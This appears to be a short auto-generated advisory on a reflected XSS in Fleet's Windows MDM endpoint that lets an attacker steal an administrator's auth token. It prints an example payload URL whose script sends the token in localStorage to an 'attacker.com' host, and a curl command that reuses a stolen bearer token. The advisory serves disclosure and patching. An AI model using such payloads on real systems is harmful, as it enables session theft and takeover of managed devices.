Listen to this Post
This vulnerability is a reflected Cross-Site Scripting (XSS) within the Windows MDM feature of the Fleet device management platform. The flaw exists in a specific endpoint that fails to properly sanitize user-controllable input before rendering it in the HTTP response. When Windows MDM is enabled, an attacker can craft a malicious URL containing a JavaScript payload. If an authenticated Fleet administrator is tricked into clicking this link, the embedded script executes within their browser session. The payload is designed to target the browser’s local storage or intercept network requests to harvest the user’s Fleet authentication token. This token is typically a session cookie or a bearer token used for API authorization. Once exfiltrated to an attacker-controlled server, this token can be reused in API requests. Since the token belongs to an authenticated admin, it grants full privileged access to the Fleet API, enabling actions like deploying scripts to all managed endpoints, modifying policies, or exfiltrating sensitive device data. The attack requires user interaction and a specific feature flag (Windows MDM) to be active.
Platform: Fleet
Version: <4.78.2, <4.77.1
Vulnerability: MDM XSS
Severity: Critical
Date:
Prediction: Patched Available
What Undercode Say:
Check Fleet server version
curl -s http://fleet-server:8080/api/v1/fleet/version | jq .
Example malicious URL craft (hypothetical parameter)
echo "https://fleet.example.com/mdm/windows/setup?param=<script>fetch('https://attacker.com/steal?token='+localStorage.getItem('fleet_token'))</script>"
Simulate token use for API access
curl -H "Authorization: Bearer STOLEN_TOKEN" https://fleet-server:8080/api/v1/fleet/hosts
How Exploit:
1. Attacker crafts malicious URL with XSS payload.
2. Social engineering convinces authenticated admin to click.
- Payload executes in admin’s browser, stealing auth token.
- Attacker uses token to make privileged API calls.
Protection from this CVE:
- Upgrade to patched versions.
- Disable Windows MDM feature.
- Implement Content Security Policy (CSP).
Impact:
- Authentication token theft.
- Full administrative API compromise.
- Remote code deployment on hosts.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
